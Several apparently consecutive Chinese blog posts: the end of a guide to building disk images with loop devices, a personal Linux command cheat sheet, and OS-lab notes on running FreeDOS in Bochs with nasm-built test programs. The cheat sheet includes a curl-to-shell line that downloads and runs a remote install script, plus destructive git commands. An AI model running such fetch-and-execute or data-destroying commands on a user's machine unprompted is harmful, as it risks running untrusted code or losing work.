需要注意,在 fdisk 下用 O 指令导出的 disksrc 是只读的。如果需要改动,需要使用 chmod +w disksrc 来添加可写权限。使用 sfdisk -d 则不会,因为它只负责导出到标准输出。

使用 loop 设备

我们的分区还没有被格式化。我们需要对每个分区分别格式化,而不是对整个磁盘格式化。所以我们需要建立 loop 设备到分区的映射,单独对每个分区进行格式化。

这里有几篇参考的文章,其中这篇问答含有完整的三种做法:Mount single partition from image of entire disk device

我的 Ubuntu 版本较高,可以使用最简单的方法二(需要 16.05 +):

1
2
3
4
# 使用这个指令后,myDisk 的各个分区会被映射到 /dev/loop* 上。例如 /dev/loop3p1:
sudo losetup -Pf myDisk.img
# 使用下面的指令可以取消 loop3 的映射(所有的分区):
sudo losetup -d /dev/loop3

其它两种方法,有需要的读者可自行到上面的链接中阅读。方法一是手动计算偏移。方法三是使用了一个工具。

分区格式化

上面我们已经将各个分区弄到了 loop 设备上,接下来我们可以进行格式化了:

1
mkfs.fat -F32 /dev/loop3p1

其它分区的格式化方法类比一下即可。

分区挂载和加入文件

需要先 losetup。如果你没有 losetup 的话,参考前面。

使用 mount 把 /dev/loop3p1 之类的挂载到某个目录上就行了。例如:

1
2
3
4
# 挂载
sudo mount /dev/loop3p1 /mnt/myhd
# 取消
sudo umount /dev/loop3p1

需要注意你可能不止要 umount,还需要 losetup -d。取决于你的个人需要。

信息检查

你可以用下面的指令来查看你挂上去的这个磁盘的相关信息:

1
2
3
4
5
6
7
8
9
# 下面的指令可以查看挂载点的信息:
mount
mount | grep "/mnt/myhd"
# 下面的指令可以查看:
# 使用了哪个 loop 设备、文件系统类型、磁盘大小、已使用大小、挂载位置
df -hT
df -hT | grep "/mnt/myhd"
# 下面的指令可以查看更具体的磁盘、设备信息:
sudo fdisk -l

懒人总结

我把上面的步骤搞在了一个 bash 脚本里:

https://github.com/Qing-LKY/Image-Builder-for-Filesystem-Study

也许能帮上忙。

前言

因为最近装新环境的频率有点高,我发现我经常动不动就忘记指令什么的,整天百度,浪费时间,所以开个帖备查算了。

解压、压缩命令

格式 加压 解压 备注
.tar tar cvf x.tar myDir/ tar xvf x.tar 此命令只打包不压缩。打包时也可以直接指定文件而不是目录。解包效果类似“解压到当前文件夹”
.tar.gz tar zcvf x.tar.gz myDir/ tar zxvf x.tar.gz c 是 create,x 是 extract
.gz gzip myfile gzip -d x.gz 单个文件的压缩
.xz xz -z a xz -d a.xz -k 可以保留原本的文件,否则默认删除
.tar.xz tar -cJf arch.tar.xz directory tar Jxvf a.tar.gz --remove-files 可删除原本的
.zip zip -r a.zip a/ unzip a.zip 该解压等价于 unzip -d ./ a.zip

Git

删除所有没有被 track 的文件:git clean -f。(查看这步操作会删掉什么:git clean -n

将被 track 的文件恢复到上次 commit 的状态:git reset --hard HEAD。(不带 --hard 可以查看会修改什么)

将修改提交到上次 commit 里:git commit --amend

fetch 之后需要手动合并:git merge master origin/master

强制推送覆盖远端分支:git push -f

SSH

生成可用于 Github 的 ssh key:ssh-keygen -t ecdsa -b 521 -C "your_email@example.com"

查找文件

使用 whereis: whereis bash

使用 find: find ~/ -name "x.txt"

文件系统

查看大小: df -hT

查看文件/文件夹大小: du -sh file

glibc

ldd --version 可以查看系统对应的 libc 版本

gdb or gef

安装 gef 需要 python3: sh -c "$(curl -fsSL http://gef.blah.cat/sh)" (需要代理)

也可以用镜像这样装:

1
2
3
curl -O https://gitee.com/datree1353/gef/raw/dev/gef.py
mv gef.py ~/.gdbinit-gef.py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

python

如果 python 版本较低,升级 pip 时应该这样:

1
python3 -m pip install --upgrade pip

sudo 用户管理

1
sudo visudo
1
username    ALL=(ALL:ALL) ALL

文章目录:

  1. 环境配置与 "hello OS!"

  2. 从实模式到保护模式

2 从实模式到保护模式

前言

你可能会问,上一篇不是才写了前言吗,怎么又来。其实我只是单纯的想吐槽一下,不知道放到正文的哪里,就丢到这来了。

我发现,我做实验的效率极其低下,主要是下面几个原因:

  • 睿智的虚拟环境搞得人很烦躁

    傻逼可爱的 VMware 动不动就无响应个两分钟,有时暂停之后还会一直无响应。(据说是防火墙问题,但是不好说,所以用的战战兢兢)

    可爱的 VMware tools 每天要重装两三遍。搞得我都不想用共享剪切板功能了。

    想换 virtual box。结果奇慢无比,连启动都启动不了。(查了下官方社区,个人推测 hyper-v + amd 的问题)

  • 钻牛角尖

    总是被一些与实验无关紧要的问题吸引注意力,什么都想弄清楚,结果就是什么都顾不上。

  • too much things to do

    信安大三上怎么这么多实验,f**k

没事了,让我们开始吧(

2.1 Freedos 初体验

2.1.1 Why DOS?

DOS 是磁盘操作系统(Disk Operating System)的简称,是早期个人计算机上的一类操作系统。

在上一章中,课本里提到:

还有一个可选的方法能够帮助调试,做法也很简单,就是把 "org 07c00h" 这一行改成 "org 0100h" 就可以编译成一个 .COM 文件让它在 DOS 下运行了。

通过 DOS,可以方便地进行引导程序的执行和调试。

在之前的实验中,我们都是将引导程序直接写入引导扇区中。但是引导扇区的大小是有限的(512),随着程序的增大,问题会逐渐体现。为了解决这个问题,可以写一个“真正的”引导扇区来读取我们的程序,使我们的程序像一个真正的内核那样被运行。但这有较高的难度。

再加上:

很多保护模式的教程都是基于 DOS 来讲的,如果读者在本书中有些东西没有搞明白,可以同时参考其它教程。

在这一章的实验中,我们选择 bochs + Freedos 的方式来进行。

2.1.2 Freedos 的正确下载姿势与解读

虽然书上只有一句轻描淡写的“从官网上下载”,不过我连续下错了两次,所以还是记录下如何获取到正确的、可以用教材中的配置方法启动的映像。

事实上,在各种渠道下下载的盘,只要配置正确,都可以在 bochs 中启动。不过,作为一个初学者,我们可以先尝试教材中介绍的方法。

下载的入口在Bochs 官网的侧边栏 Get Bochs 下的 Disk Image。我们要下的是 freedos 的映像。

我下载下来时它的名字叫:"freedos-img.tar.gz",里面有四个文件 "a/b/c.img" 和 "bochsrc"。只有在这里下载的压缩包里面才会有课本中提到的 "a.img"。

如果你不想关心别的事情了,那可以跳到 2.1.3 了。后面的内容只是记录我在找到这个书上指定的东西的过程中发现的一些趣事。

首先,事实上,你也可以在其它地方找到 freedos。比如 freedos 自己的官网,和我们下载 bochs 源码的地方附近

freedos 官网上可以找到能用的 FreeDOS 1.3 Floppy Edition。根据它的 readme.txt,我们也许可以用 144m/x86boot.img 作为启动盘来装比较高版本的 freedos。(xygg 试过,跑起来很帅)不过我没有去尝试,不清楚配置的细节上有没有特殊的讲究。而且我们的实验对 freedos 的版本其实没有多大的讲究。

至于 sourceforge.net 上提供的那个,则是个 hard disk,配置起来和书上提供的有很大出入(当然它有给出示例 bochsrc,所以你想跑那个也不是不行)。

在 bochs.sourceforge.io 上下载的这个,虽然描述说的是 "10-meg hard disk image which boots into FreeDOS",但其实这个 hard disk image 指的是压缩包里的 c.img,另外两个软盘 a.img 和 b.img 虽然在示例中没有作为启动盘使用,但它们也是启动盘。

我直接把 boot: c 改成 a 和 b 试了一下。a.img 是可以正常且完整启动的。b.img 可以看得出进入了引导程序,但是内核或 FAT 的加载似乎出现了什么问题。我暂时没有去细究这个 b。但是书本上教的把 a.img 复制出来改成 freedos.img 当启动盘用确实是可行的。

P.S. 事实上,通过下面的指令,我们也可以看出它是一个启动盘:

1
hexdump -C a.img | head -50

你可以在其中 0200 前(也就是 511 和 512 字节处)观察到 55 和 aa。结合上节课的知识,这个 a.img 会被识别为启动盘。

事实上,我们也可以考虑把 a.img 和 b.img 的前 512 个字节搞出来反汇编一下观察下差别,来满足我们的好奇心。这里暂时留个坑罢。

2.1.3 在 Bochs 中运行 Freedos

前面我们下载到了 freedos 映像的压缩文件。把其中的 a.img 弄出来作为启动盘,然后创建一个新的空白软盘 pm.img 来存放我们希望 guest os 能访问的文件。

为方便辨认,我把 a.img 改名成了 freedos.img。

1
2
3
4
tar -zxvf freedos-img.tar.gz
cp freedos-img/a.img ./freedos.img
bximage -func=create -fd=1.44M -q pm.img
vim bochsrc

把 bochsrc 修改为下面的内容:(其实就是上章用的那些修改了一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# how much memory the emulated machine will have
megs: 32

# filename of ROM images
romimage: file=/usr/local/share/bochs/BIOS-bochs-latest
vgaromimage: file=/usr/share/vgabios/vgabios.bin

# what disk images will be used
floppya: 1_44=freedos.img, status=inserted
floppyb: 1_44=pm.img, status=inserted

# choose the boot disk.
boot: a

# where do we send log messages?
# log: bochsout.txt

# disable the mouse
mouse: enabled=0

# enable key mapping, using US layout as default.
# keyboard_mapping: enabled=1, map=/usr/share/bochs/keymaps/x11-pc-us.map

display_library: sdl

接下来,运行 bochs,成功启动的话可以看到 freedos 的命令行界面。

after_boot

那个 format 是我自己打进去的,为了确认键盘能不能用。

如果你遇到的报错是 no boot device,请检查你的启动盘有没有设置对。

不过也有非常多人遇到了进入 bochs 后 freedos 内键盘无法使用的问题,这个我也不清楚怎么解决。(指的是完全打不了字或一打字 bochs 就报错。我们后面用的那个示例 .com 是个死循环,运行后是关不掉也用不了键盘的,只能关掉 bochs)

2.1.4 软盘格式化与挂载

在 freedos 下,你可以运行下面的指令来格式化 B 盘(也就是 pm.img)。

1
format B:\

不同于前面直接将二进制代码写入扇区,在 dos 下运行 .com 需要借助 freedos 的文件系统,所以我们需要先把 pm.img 格式化。如果不这么做的话,在 mount 时会因为无法识别文件系统类型而报错。

其实,你也可以不用到 freedos 下进行格式化,直接在 linux 下执行下面的指令也是可以的。

1
mkfs.fat pm.img

被上述指令格式化的软盘是可以被 freedos 使用的。它默认格式化为 fat12 格式。

P.S. 格式化指根据用户选定的文件系统(如FAT12、FAT16、FAT32、NTFS、EXT2、EXT3等),在磁盘的特定区域写入特定数据,以达到初始化磁盘或磁盘分区、清除原磁盘或磁盘分区中所有文件的一个操作。一个什么都没有的空白软盘和格式化后的软盘是不一样的。

使用下面指令可以挂载,和取消挂载。

1
2
3
4
5
6
7
# 挂载前需要新建文件夹
sudo mkdir /mnt/floppy
sudo mount -o loop pm.img /mnt/floppy
# 可以像正常文件系统那样访问读写这个文件夹
sudo cp a.txt /mnt/floppy
# 取消挂载
sudo umount /mnt/floppy

P.S. 什么是 loop device?它是一种“伪设备”。我们的 pm.img 上虽然有一个文件系统,但它毕竟是虚拟的,不是一个真正的硬件,不能直接访问。所以我们可以用 -o loop(也可以指定具体的 loop device),这样 pm.img 就会与这个伪设备关联,然后我们就得到了一个可挂载的设备。这样我们就可以通过挂载和访问这个设备来访问这个虚拟的文件系统了。

(上面的这段参考了这篇 CSDN 博客维基百科

不管你是不是挂载到 /mnt/xxx 下,被你挂载的文件夹都会被加上权限限制(毕竟是在访问一个设备),所以 mount 以及对文件系统的操作都需要在 root 或 sudo 下进行。

书上的做法是在 cp 完 .com 文件后取消挂载。其实不取消也行,没必要每次都挂载一下。

2.1.5 运行随书示例

dos 下直接运行 .com,会将代码挂到虚拟地址 0100h 处,需要在代码第一行加上 org 0100h。

编译 asm 源码,然后复制到挂载的软盘上,启动 bochs,在 Freedos 上运行即可。

具体的:

1
2
3
4
5
6
7
8
# 注意 这一步要求 pm.inc 和 pmtest1b.asm 在同个目录下
nasm pmtest1b.asm -o pmtest1b.com
# 复制到挂载好的软盘里
sudo cp pmtest1b.com /mnt/floppy
# 运行 bochs
bochs
# 在 freedos 下运行下面指令
B:\pmtest1b.com

运行成功后,你会在 bochs 显示屏上看到一个红色的 P。但是接下来你就无法进行任何操作了,只能关掉 bochs 或用 debug 想办法退出,因为这个程序是个死循环。

2.2 随书汇编源码解读

2.2.1 (彩蛋)当你试图将随书源码作为引导程序

freedos 下执行 .com 程序,不知道会被挂载到什么地方,因此难以设置断点,需要一些额外的手段(后文会提到)。

而引导程序的虚拟地址与逻辑地址是对应的,设置断点非常容易。当然,这种做法是有局限的,有些实验源码使用了 dos 设置的中断(如 21h 的 4ch 带返回值退出程序)。或是程序大于 510 个字节。这些是没有办法用这种手段调试的。

当然,pmtest1.asm 是可以用这种方式调试的。但是,它有一个问题。就是它的末尾并没有 0xaa55。

但是我们不能再使用 times 510-($-$$) db 0 来凑了。因为这个程序有非常多的段。而 $$ 针对的是当前的段。

一种办法是拿我们之前用过的 a.img。它的末尾本来就含有 0xaa55,而我们是非截断写入,因此末尾这两个字节是会保留的。

另一种方法是用下面的指令来写入:

1
echo -ne "\x55\xaa" | dd of=a.img seek=510 bs=1 count=2 conv=notrunc

-ne 的意思是不换行且使用转义符号。其实换不换行无所谓,反正只取前两个字节,取不到后面的 \10(换行符)。这里出于强迫症保证了输出只有两个字节。seek=510 就是从第 510 个字节开始写入(从 0 开始数)。其它之前介绍过了。

你可能会像我一样,直接就把上面这条指令直接写到 makefile 里去了。然后发现写进 a.img 的不是 0xaa55,而是 0x6e2d。

查一下 ascii 码表,你会发现它把 "-n" 当成字符串了。这是怎么回事呢?

其实是 shell 的差异导致的。这篇博客讲的很清楚,解决了困扰我大半天的问题。

2.2.2 一点小小的个人经验

其实这一章全是非常枯燥的知识,东西很多。学的时候看的我头昏眼花。

我本来是打算把知识点什么的全部写进来的,但是编排起来实在有点难度,而且感觉不太符合我的风格(其实就是单纯的懒和烦)。

所以就讲一下我个人的经验吧:

因为源码是有很详细的注释的。直接看源码,看不懂的部分再去查书和 PPT,效率就会大幅提升。

当然这只是个人经验。具体怎么学舒服还得看自己。

以及自己动手写是很重要的。虽然他给的代码非常的长,可能没有什么自己动手写的欲望。但自己敲一遍(至少在回答动手做问题的时候)还是有必要的。口胡永远比不上自己会敲。

后面有空时会逐渐补全各部分的知识点。包括第一章中的一些还可以深入了解的东西也会抽空补全。

2.2.3 有趣问题记录

其实本来是想分析一波原理的。但是实验报告里抄来抄去截来截去已经累死了,原理什么的就自己看书吧。这里只记录下自己在学习时遇到的一些无法理解的有趣问题和分析。